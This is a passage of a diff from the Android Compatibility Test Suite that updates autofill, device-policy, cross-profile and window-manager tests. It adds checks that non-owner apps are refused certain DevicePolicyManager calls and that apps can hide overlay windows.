assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "ab");
- assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "de");
+ assertViewTextChanged(events, i + 1, activity.mUsername.getAutofillId(), "");
assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "abc");
+ assertViewTextChanged(events, i + 3, activity.mPassword.getAutofillId(), "d");
+ assertViewTextChanged(events, i + 4, activity.mPassword.getAutofillId(), "");
+ assertViewTextChanged(events, i + 5, activity.mPassword.getAutofillId(), "def");
+ assertViewTextChanged(events, i + 6, activity.mPassword.getAutofillId(), "");
+ assertViewTextChanged(events, i + 7, activity.mUsername.getAutofillId(), "abc");
activity.assertInitialViewsDisappeared(events, additionalEvents);
}
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
index 4050795..a904d01 100644
--- a/tests/devicepolicy/Android.bp
+++ b/tests/devicepolicy/Android.bp
@@ -31,7 +31,7 @@
"general-tests",
],
test_options: {
- extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
+ extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
},
sdk_version: "test_current",
}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index a809d68..ceceb7a 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.devicepolicy.cts"
android:targetSandboxVersion="2">
- <application>
+ <application android:testOnly="true">
<uses-library android:name="android.test.runner" />
<activity android:name=".MainActivity"
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 23ca675..03cfe25 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="install-arg" value="-t" />
<option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
index 8ea32bc..ea5f246 100644
--- a/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
+++ b/tests/devicepolicy/DevicePolicySecondaryUserTest.xml
@@ -24,6 +24,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="install-arg" value="-t" />
<option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunOnSecondaryUserTargetPreparer">
diff --git a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
index 951511d..f8a7faa 100644
--- a/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
+++ b/tests/devicepolicy/DevicePolicyWorkProfileTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="install-arg" value="-t" />
<option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index 4f167d8..a80a32b 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -25,17 +25,17 @@
import static org.junit.Assert.assertEquals;
import static org.testng.Assert.assertThrows;
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.uiautomator.UiDevice;
-
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.CrossProfileApps;
import android.os.UserHandle;
import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
@@ -72,6 +72,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainPrimaryUser() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -80,6 +81,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainSecondaryUser() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -98,6 +100,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_containsWorkProfile() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -107,6 +110,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile(installTestApp = false)
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_appNotInstalledInWorkProfile_doesNotContainWorkProfile() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -139,6 +143,7 @@
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
@Ignore // TODO(scottjonathan): Replace use of UIAutomator
+ @Postsubmit(reason="new test")
public void startMainActivity_callingFromPrimaryUser_targetIsWorkProfile_launches() {
sCrossProfileApps.startMainActivity(
new ComponentName(sContext, MainActivity.class), sDeviceState.getWorkProfile());
@@ -161,6 +166,7 @@
}
@Test
+ @Postsubmit(reason="new test")
public void startMainActivity_activityNotExported_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.startMainActivity(
@@ -170,6 +176,7 @@
}
@Test
+ @Postsubmit(reason="new test")
public void startMainActivity_activityNotMain_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.startMainActivity(
@@ -180,6 +187,7 @@
@Test
@Ignore // TODO(scottjonathan): This requires another app to be installed which can be launched
+ @Postsubmit(reason="new test")
public void startMainActivity_activityIncorrectPackage_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
@@ -188,6 +196,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void
startMainActivity_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
@@ -199,6 +208,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void
startMainActivity_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
@@ -223,6 +233,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
@@ -232,6 +243,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
@@ -260,6 +272,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
assertThat(sCrossProfileApps.getProfileSwitchingLabel(
sDeviceState.getWorkProfile())).isNotNull();
@@ -267,6 +280,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getPrimaryUser());
@@ -276,6 +290,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getSecondaryUser());
@@ -304,6 +319,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
+ @Postsubmit(reason="new test")
public void getProfileSwitchingIconDrawable_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
sDeviceState.getWorkProfile())).isNotNull();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
new file mode 100644
index 0000000..dd1f81b
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.compatibility.common.util.enterprise.annotations.RequireFeatures;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that certain DevicePolicyManager APIs aren't available to non-owner apps and that they throw
+ * SecurityException when invoked by such apps. For most of the older APIs that accept an explicit
+ * ComponentName admin argument, this is tested in android.admin.cts.DevicePolicyManagerTest by
+ * passing an admin that is not owner, but for newer APIs authorization is done based on caller UID,
+ * so it is critical that the app is not owner. These APIs are tested here.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NegativeCallAuthorizationTest {
+ private static final String ALIAS = "some-alias";
+ private static final Context sContext = ApplicationProvider.getApplicationContext();
+ private static final DevicePolicyManager sDpm =
+ sContext.getSystemService(DevicePolicyManager.class);
+
+ @ClassRule @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ @Test
+ @RequireFeatures(featureNames = PackageManager.FEATURE_DEVICE_ADMIN)
+ public void testHasKeyPair_failIfNotOwner() {
+ assertThrows(SecurityException.class, () -> sDpm.hasKeyPair(ALIAS));
+ }
+
+ @Test
+ @RequireFeatures(featureNames = PackageManager.FEATURE_DEVICE_ADMIN)
+ public void testGetKeyPairGrants_failIfNotOwner() {
+ assertThrows(SecurityException.class, () -> sDpm.getKeyPairGrants(ALIAS));
+ }
+}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ef3c415..eb875cc 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -172,6 +172,8 @@
android:resizeableActivity="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+ <activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"/>
+
<activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
<activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity"/>
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index a707807..999d23b 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -25,6 +25,7 @@
<uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+ <uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
<application>
<activity android:name=".TestActivity"
@@ -547,6 +548,7 @@
<activity android:name=".PresentationActivity"
android:launchMode="singleTop"
android:exported="true"/>
+ <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
<service android:name=".OverlayTestService"
android:exported="true" />
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 529b22a..86ffdc0 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -52,6 +52,8 @@
component("FontScaleNoRelaunchActivity");
public static final ComponentName FREEFORM_ACTIVITY = component("FreeformActivity");
public static final ComponentName HOST_ACTIVITY = component("HostActivity");
+ public static final ComponentName HIDE_OVERLAY_WINDOWS_ACTIVITY =
+ component("HideOverlayWindowsActivity");
public static final ComponentName KEYGUARD_LOCK_ACTIVITY = component("KeyguardLockActivity");
public static final ComponentName LANDSCAPE_ORIENTATION_ACTIVITY =
component("LandscapeOrientationActivity");
@@ -425,6 +427,9 @@
"enter_pip_on_pip_requested";
// Sets auto PIP allowed on the activity picture-in-picture params.
public static final String EXTRA_ALLOW_AUTO_PIP = "enter_pip_auto_pip_allowed";
+ // Sets seamless resize enabled on the activity picture-in-picture params.
+ public static final String EXTRA_IS_SEAMLESS_RESIZE_ENABLED =
+ "enter_pip_is_seamless_resize_enabled";
// Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
// Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
@@ -529,6 +534,12 @@
public static final int ID_OVERLAY_TEST_SERVICE = 1;
}
+ public static class HideOverlayWindowsActivity {
+ public static final String ACTION = "hide_action";
+ public static final String PONG = "pong_action";
+ public static final String SHOULD_HIDE = "should_hide";
+ }
+
private static ComponentName component(String className) {
return component(Components.class, className);
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
new file mode 100644
index 0000000..4014999
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.SHOULD_HIDE;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+/**
+ * Helper activity for HideApplicationOverlaysTest. Communication is handled through a pair of
+ * broadcast receivers, this activity is receiving commands from the tests and emits a pong
+ * message when the commands have been executed.
+ */
+public class HideOverlayWindowsActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION));
+ }
+
+ BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (ACTION.equals(intent.getAction())) {
+ boolean booleanExtra = intent.getBooleanExtra(SHOULD_HIDE, false);
+ getWindow().setHideOverlayWindows(booleanExtra);
+ sendBroadcast(new Intent(PONG));
+ }
+ }
+ };
+
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 79aeae9..5778ac2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -41,6 +41,7 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
@@ -172,10 +173,18 @@
}
}
+ final PictureInPictureParams.Builder sharedBuilder = new PictureInPictureParams.Builder();
+ boolean sharedBuilderChanged = false;
+
if (getIntent().hasExtra(EXTRA_ALLOW_AUTO_PIP)) {
- final PictureInPictureParams.Builder builder = new PictureInPictureParams.Builder();
- builder.setAutoEnterEnabled(true);
- setPictureInPictureParams(builder.build());
+ sharedBuilder.setAutoEnterEnabled(true);
+ sharedBuilderChanged = true;
+ }
+
+ if (getIntent().hasExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED)) {
+ sharedBuilder.setSeamlessResizeEnabled(
+ getIntent().getBooleanExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, true));
+ sharedBuilderChanged = true;
}
// Enable tap to finish if necessary
@@ -198,13 +207,16 @@
if (getIntent().hasExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS)) {
final int numberOfCustomActions = Integer.valueOf(
getIntent().getStringExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS));
- final PictureInPictureParams.Builder builder = new PictureInPictureParams.Builder();
final List<RemoteAction> actions = new ArrayList<>(numberOfCustomActions);
for (int i = 0; i< numberOfCustomActions; i++) {
actions.add(createRemoteAction(i));
}
- builder.setActions(actions);
- setPictureInPictureParams(builder.build());
+ sharedBuilder.setActions(actions);
+ sharedBuilderChanged = true;
+ }
+
+ if (sharedBuilderChanged) {
+ setPictureInPictureParams(sharedBuilder.build());
}
// Register the broadcast receiver
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
new file mode 100644
index 0000000..99b3c18
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
@@ -0,0 +1,49 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_MULTIPLE_TASK",
+ "class": "android.server.wm.intent.Activities$SingleTopActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ]
+ },
+ "endState": {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ]
+
+ }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index bf983b5..7f8d1ad 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -917,7 +917,10 @@
* that are smaller than the dockedSizes.
*/
private static void assertSizesAreSane(SizeInfo fullscreenSizes, SizeInfo dockedSizes) {
- if (isDisplayPortrait()) {
+ final boolean isHorizontalDivision =
+ fullscreenSizes.displayHeight - dockedSizes.displayHeight >
+ fullscreenSizes.displayWidth - dockedSizes.displayWidth;
+ if (isHorizontalDivision) {
assertThat(dockedSizes.displayHeight, lessThan(fullscreenSizes.displayHeight));
assertThat(dockedSizes.heightDp, lessThan(fullscreenSizes.heightDp));
assertThat(dockedSizes.metricsHeight, lessThan(fullscreenSizes.metricsHeight));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
new file mode 100644
index 0000000..b06a6a1
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
+import static android.server.wm.alertwindowapp.Components.ALERT_WINDOW_TEST_ACTIVITY;
+import static android.server.wm.app.Components.HIDE_OVERLAY_WINDOWS_ACTIVITY;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:HideOverlayWindowsTest
+ */
+@Presubmit
+public class HideOverlayWindowsTest extends ActivityManagerTestBase {
+
+ private PongReceiver mPongReceiver;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ AppOpsUtils.setOpMode(ALERT_WINDOW_TEST_ACTIVITY.getPackageName(),
+ OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
+ mPongReceiver = new PongReceiver();
+ mContext.registerReceiver(mPongReceiver, new IntentFilter(PONG));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mContext.unregisterReceiver(mPongReceiver);
+ AppOpsUtils.reset(ALERT_WINDOW_TEST_ACTIVITY.getPackageName());
+ stopTestPackage(ALERT_WINDOW_TEST_ACTIVITY.getPackageName());
+ }
+
+ @Test
+ public void testApplicationOverlayHiddenWhenRequested() {
+ launchActivity(ALERT_WINDOW_TEST_ACTIVITY);
+ assertHasOverlaysThatAreShown(ALERT_WINDOW_TEST_ACTIVITY);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ assertHasOverlaysThatAreShown(ALERT_WINDOW_TEST_ACTIVITY);
+
+ setHideOverlayWindowsAndWaitForPong(true);
+ assertHasOverlaysThatAreHidden(ALERT_WINDOW_TEST_ACTIVITY);
+
+ setHideOverlayWindowsAndWaitForPong(false);
+ assertHasOverlaysThatAreShown(ALERT_WINDOW_TEST_ACTIVITY);
+ }
+
+ @Test
+ public void testInternalSystemApplicationOverlaysNotHidden() {
+ ComponentName internalSystemWindowActivity = new ComponentName(
+ mContext, HideOverlayWindowsTest.InternalSystemWindowActivity.class);
+ launchActivity(internalSystemWindowActivity);
+ assertHasOverlaysThatAreShown(internalSystemWindowActivity);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ setHideOverlayWindowsAndWaitForPong(true);
+ assertHasOverlaysThatAreShown(internalSystemWindowActivity);
+ }
+
+ void assertHasOverlaysThatAreShown(ComponentName componentName) {
+ List<WindowManagerState.WindowState> windowsByPackageName =
+ mWmState.getWindowsByPackageName(componentName.getPackageName(),
+ TYPE_APPLICATION_OVERLAY);
+ assertThat(windowsByPackageName).isNotEmpty();
+ for (WindowManagerState.WindowState state : windowsByPackageName) {
+ mWmState.waitAndAssertWindowSurfaceShown(state.mName, true);
+ }
+ }
+
+ void assertHasOverlaysThatAreHidden(ComponentName componentName) {
+ List<WindowManagerState.WindowState> windowsByPackageName =
+ mWmState.getWindowsByPackageName(componentName.getPackageName(),
+ TYPE_APPLICATION_OVERLAY);
+ assertThat(windowsByPackageName).isNotEmpty();
+ for (WindowManagerState.WindowState state : windowsByPackageName) {
+ mWmState.waitAndAssertWindowSurfaceShown(state.mName, false);
+ }
+ }
+
+ void setHideOverlayWindowsAndWaitForPong(boolean hide) {
+ Intent intent = new Intent(ACTION);
+ intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
+ mContext.sendBroadcast(intent);
+ mPongReceiver.waitForPong();
+ }
+
+ /**
+ * Activity that uses shell permission identity to adopt INTERNAL_SYSTEM_WINDOW permission to
+ * create an application overlay that will stay visible on top of windows that have requested
+ * non-system overlays to be hidden.
+ */
+ public static class InternalSystemWindowActivity extends Activity {
+
+ TextView mView;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final WindowManager wm = getWindowManager();
+ final Point size = new Point();
+ getDisplay().getRealSize(size);
+
+ WindowManager.LayoutParams params =
+ new WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY, 0);
+ params.width = size.x / 3;
+ params.height = size.y / 3;
+ params.gravity = TOP | LEFT;
+ params.setTitle(getPackageName());
+
+ mView = new TextView(this);
+ mView.setText(getPackageName() + " type=" + TYPE_APPLICATION_OVERLAY);
+ mView.setBackgroundColor(Color.GREEN);
+ SystemUtil.runWithShellPermissionIdentity(() -> wm.addView(mView, params));
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ getWindowManager().removeView(mView);
+ }
+ }
+
+ private static class PongReceiver extends BroadcastReceiver {
+
+ volatile ConditionVariable mConditionVariable = new ConditionVariable();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mConditionVariable.open();
+ }
+
+ public void waitForPong() {
+ assertThat(mConditionVariable.block(10000L)).isTrue();
+ mConditionVariable = new ConditionVariable();
+ }
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 61e2feb..b5740bf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -24,7 +24,7 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.wm.CliIntentExtra.*;
+import static android.server.wm.CliIntentExtra.extraBool;
import static android.server.wm.CliIntentExtra.extraString;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -61,6 +61,7 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
